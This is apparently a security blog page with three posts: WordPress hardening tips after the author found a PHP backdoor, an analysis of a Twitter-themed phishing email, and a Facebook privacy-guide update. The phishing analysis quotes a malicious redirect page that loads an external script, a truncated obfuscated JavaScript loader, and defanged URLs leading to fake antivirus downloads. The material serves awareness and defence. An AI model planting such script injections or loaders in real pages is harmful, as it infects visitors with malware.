Secure Your WordPress By Learning From My Mistakes

Several weeks ago, I managed to create a small ruckus on Twitter by issuing a warning about a possible WordPress vulnerability. I was rather embarrassed to eventually discover that the actual problem related to a backdoor still on my server from a previous hack. This was not my first lesson in WordPress security, but it was certainly a memorable one.

I first created this blog in 2007 after finding basic CSRF issues in the first publicly available OpenSocial application. At the time, I admittedly knew very little about application security (not that I know much now!), but I was interested in many aspects of building online social networking systems, and that led me to research security issues more and more. Over time, this blog grew and several other projects hosted on the same server fell by the wayside. As my understanding of security also grew, I found some of my sites hacked a few times, and I undertook a number of steps to secure this WordPress installation.

That maintenance contributed to the confidence I had in my warning on Twitter – malicious scripts kept popping up in my site’s footer, and the only apparent problem were some suspicious requests to a particular WordPress interface. I had looked gone through all my plug-ins (the apparent source of previous attacks), double-checked my permissions, changed passwords, etc. I finally did a thorough sweep of every single folder on my site, and lurking in an upload folder, I found a sophisticated PHP backdoor.

I’m guessing that file originally been placed during a much older attack and I’d simply missed it until now. Since deleting it and taking even more steps to protect my blog, I’ve not had any more trouble. I wouldn’t presume to think this site is 100% secure and I’ve never claimed to be an expert on application security, much less WordPress or PHP security, but I’m now quite confident that I’ve taken enough precautions to avoid most attacks.

That leads me to the following list of steps I’ve performed to harden this particular WordPress site. If you’ve not taken the time to ensure your blog is secure, this may be a good guide for you to start with. I’m indebted to many websites on WordPress security, and while I would want to link to all of them, I’m honestly not sure of all the specific ones I’ve drawn from and it would take a while to piece them together. A quick search will bring up many helpful recommendations, and I encourage you to check them out in addition to these tips.

  • Stay updated. Running the most current version of WordPress is probably the most important step. My host offers automatic updating for my installations. Also, be sure to keep your plug-ins updated as well.
  • Protect other sites. If you have more than one website running on the same server, make sure all of them are secure. One vulnerable application can compromise others. If you have sites that you don’t maintain, consider deleting them or locking them down to avoid future problems.
  • Scan through all of your folders. If you haven’t done this in a while, now would be a good time. Look through what files are present and keep an eye out for anything suspicious. Check your WordPress files against a fresh download to make sure they line up.
  • Scan through all of your permissions. This should be fairly easy with an FTP program that displays permissions settings. With rare exception, I keep files at chmod 644 and folders at chmod 755.
  • Periodically change passwords. Definitely modify your passwords if you’ve recovered from an attack. Remember to change your database password (and corresponding line in wp-config.php) as well as account passwords.
  • Use modified passphrases. This is one tip I don’t see often, but it’s one of my favorite tricks. Rather than simply jumbling characters into a password you have trouble remembering, start with a sentence. Not something terribly common, but something familiar to you. Pick one with at least six words in it. Take the whole sentence, with capitalization and punctuation, and add some complexity – append some numbers and punctuation at the beginning or end, and maybe change a few letters to numbers (such as “3″ for “e”). You should then have a very strong “password” that’s much easier to remember. Many websites and applications will let you use spaces and hundreds of characters in your password. But once again: avoid common phrases, include at least six words, and don’t just use a sentence without adding some numbers and special characters.
  • Check your users table in the database. I’ve seen attacks before that lead to the creation of an administrative account which is then hidden from the list of users in the web-based control panel. I’ve never quite understood why hidden users should be allowed, but that could be part of the attack to begin with. Anyway, just to be careful, I like to look at the actual table in the database and see if any other accounts have administrative privileges.
  • Double-check and clean up all plug-ins. I’ve deleted every plug-in I don’t use, and I try to keep all of my active plug-ins current. If you have a plug-in that’s no longer maintained or hasn’t been updated in a long time, you should probably check and see if a newer replacement is available. In my experience, plug-ins can be one of the weakest points in your WordPress installation. It’s kind of like a certain other site I know well – Facebook itself tends to be pretty secure, but you can often access data through vulnerable Facebook applications.
  • Add HTTP authentication to your wp-admin folder. This is covered in many places online so I’ll not recap specific steps here. And I’ll add that I realize this is not a silver bullet – basic authentication sends passwords in cleartext (so don’t use the same credentials as your WordPress account), and the traffic is not encrypted if you’re not using SSL/TLS. But adding another login prompt for the admin panel adds friction and may repel less-determined attackers. (This tip is obviously geared towards those who don’t have user accounts for non-admins.)
  • Move wp-config.php to a folder not as easily accessible. You can place wp-config.php one folder above your WordPress install; under my hosting setup, this location does not correspond to any public website folder. I also set mine to chmod 644 after changing it.
  • Rename your admin account. Several means exist to do this; I simply edited the record in the database.
  • Change your table prefix. This can be a bit of a hassle, but plug-ins exist (see below) to help. I’ll admit that I still need to check this one off my own list; long story.
  • Disable interfaces such as XML-RPC if you don’t use them. I don’t doubt that the programmers behind WordPress have worked hard to secure these interfaces, but I simply don’t like having another avenue of accessing administrative functions. And I think it’s not a bad idea to disable features you don’t actually need.
  • Use security tools. I installed the WP Security Scan plug-in after reading about it on WordPress’ own hardening guide.
  • Keep monitoring your site. I make a habit of loading up my homepage ever so often, hitting “View Source,” and scanning through the HTML. If I ever see an unfamiliar script or iframe element, I look closer.

That’s my personal list of WordPress security tips, based on many helpful resources and my own experiences of getting hacked. These certainly don’t apply to everyone, more could be added, and your mileage may vary, but hopefully this will help others avoid some of the problems I encountered. Be sure to look at other people’s advice as well and watch out for any WordPress security news.

Interesting New Twitter Phish Can Lead to Bad Places

I’ve had several fake emails that initially look like they come from Twitter in my email recently.  I didn’t think anything of it until several of my friends forwarded me the same type of emails.  This suggests two things.  One, that these emails are starting to hit a larger audience.  Or two, they are targeting just my friends and I which is totally possible. :-) Anyway, here is a quick bit of analysis of one of these emails.  I found some interesting things when I investigated the website linked in the fake email.  The link in this particular could have done more damage if it wasn’t for some crappy attacker code.  Read on!

The Email
The following screen shot shows you what the email looks like.  It seems to come from Twitter but you will notice that there are some interesting clues that tell you this isn’t real.  First, the Twitter account mentioned is just the first part of the email address this was sent to.  This may or may not be your Twitter ID.  Second, check out the “Britney Spears home video feedback” subject line and “Antidepressants for your bed vigor” bold red in the message body.  Yep.  All the signs that this isn’t from Twitter.  Ok, nothing to see here right?

The Link
When you look at the source of the email, the link actually goes to “hxxp://89.161.148.201/cekfcq.html”. If you do click on this link several things happen:

An HTML page is loaded which redirects you to a shady Russian software site.  This site (software-oemdigital.ru) has a ton of phisy looking domains that were assigned to it since 6/11/2010.  The HTML file also loads a script which runs a PHP file on another server.  Let’s take a look at the response:

HTTP/1.0 200 OK
Connection: close
Content-Length: 250
Content-Type: text/html
Date: Wed, 23 Jun 2010 15:09:53 GMT
Last-Modified: Wed, 23 Jun 2010 08:30:01 GMT
Server: IdeaWebServer/v0.70

<!DOCTYPE HTML PUBLIC “-//W3C//DTD HTML 4.01 Transitional//EN”>

<META HTTP-EQUIV=”refresh” CONTENT=”0;URL=hxxp://software-oemdigital.ru”>
<title></title>

<html><head>
</head></html><script src=hxxp://eurolisting.net/Cgi-bin/markprint.php ></script>

The Russian software site loads as normal but something else is going on in the background from eurolisting.net and that PHP file.  Here is the response:

HTTP/1.1 200 OK
Connection: close
Date: Wed, 23 Jun 2010 17:46:54 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-Powered-By: PHP/5.2.6
Set-Cookie: PHPSESSID=1287414902; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: application/javascript

// <script>
function cxx(wcH){return wcH.replace(/%/g,”).replace(/[‘ow:Y]/g,fUp)}
cPH7j=’d:6fcY75meY6et.Y77rio74w65(Y22o3cdiv stylew3d:5cY22pw6fsitio6fnY3aaw62so6fl:75o74Y65o3b lefto3a:2d1000pxY3bw20tY6fp:3aw2d10w300pxw3bo5cw22:3ew22Y29w3b:66unctiY6fn :6973(a)o7bdY6fcu:6deY6et.w77rw69te(:22:3cifrao6d:65w20srcw3do5co22httw70Y3ao2f <SNIP>

All of the stuff following the script tag is obfuscated JavaScript.  I cut most of it out as it is quite lengthy.  Running this through jsunpack (a JavaScript unpacker) the script tries to load several things including some VBScript that seems to check for system properties, if you are running Firefox and if you have Java and/or Flash enabled as well as what seems to be a check for Adobe Reader plug-ins.  You can check out the script and the unpacked version over at the jsunpack site.

Now this is where it gets interesting.  In Internet Explorer the PHP file seems to generate a request to a URI that doesn’t exist: hxxp://89.161.148.201/zzz/ttt/ad3740b4.class, it 404′s.  You can also see this in the Wireshark capture below:

In Firefox it’s a different story.  The Russian software site still loads and something else attempts to get requested:

hxxp://wiki.insuranceplanningaz.com/main.php?h=89.161.148.201&i=JcmridQaq/ykgRj4UMpOy5Ec&e=4

This site will lead to some fun “fake AV” which prompts you to download a “setup.exe” file.

You probably don’t want to run that file.  The good news is that if you have the latest version of Firefox it will note this as a reported web forgery and tries to prevent you from going there.  One problem I see is that if you are running an older version of Firefox you might not get this notification.  I haven’t tested this with other browsers but your results may vary.

What does this all mean?  Well of course don’t click on shady emails like this.  You know better right?  Also, don’t think that because you use Firefox you are safe from attacks like these!  Attackers are catching on and I would suspect we will see more attacks targeting multiple browsers besides IE.  Wait, too late isn’t it?  Special thanks to Greg and Tyler for providing intel about these domains and some of the analysis.

Share and Enjoy


FacebookTwitterDeliciousDiggStumbleUponAdd to favoritesEmailRSS


Facebook Privacy & Security Guide Updated to v2.2

I have updated the Facebook Privacy & Security Guide to version 2.2 over on SocialMediaSecurity.com.  If you’re not familiar with the guide it is an easy to use guide which helps you set the recommended privacy and security settings on your Facebook account.  It’s free, printable and meant to be shared.

This update includes details on all the recent changes to Facebook’s privacy settings that went live May 26, 2010.  I have also included more information on “Instant Personalization”, removing yourself from “Platform”, and how your public information can be accessed via the Facebook Graph API.  Note that you may not have these settings enabled on your Facebook profile…yet.  They are slowly being rolled out to the Facebook user base and may take a few weeks.  Please share with friends, family and others!

Download the latest version of the Facebook Privacy & Security Guide here.

Share and Enjoy


FacebookTwitterDeliciousDiggStumbleUponAdd to favoritesEmailRSS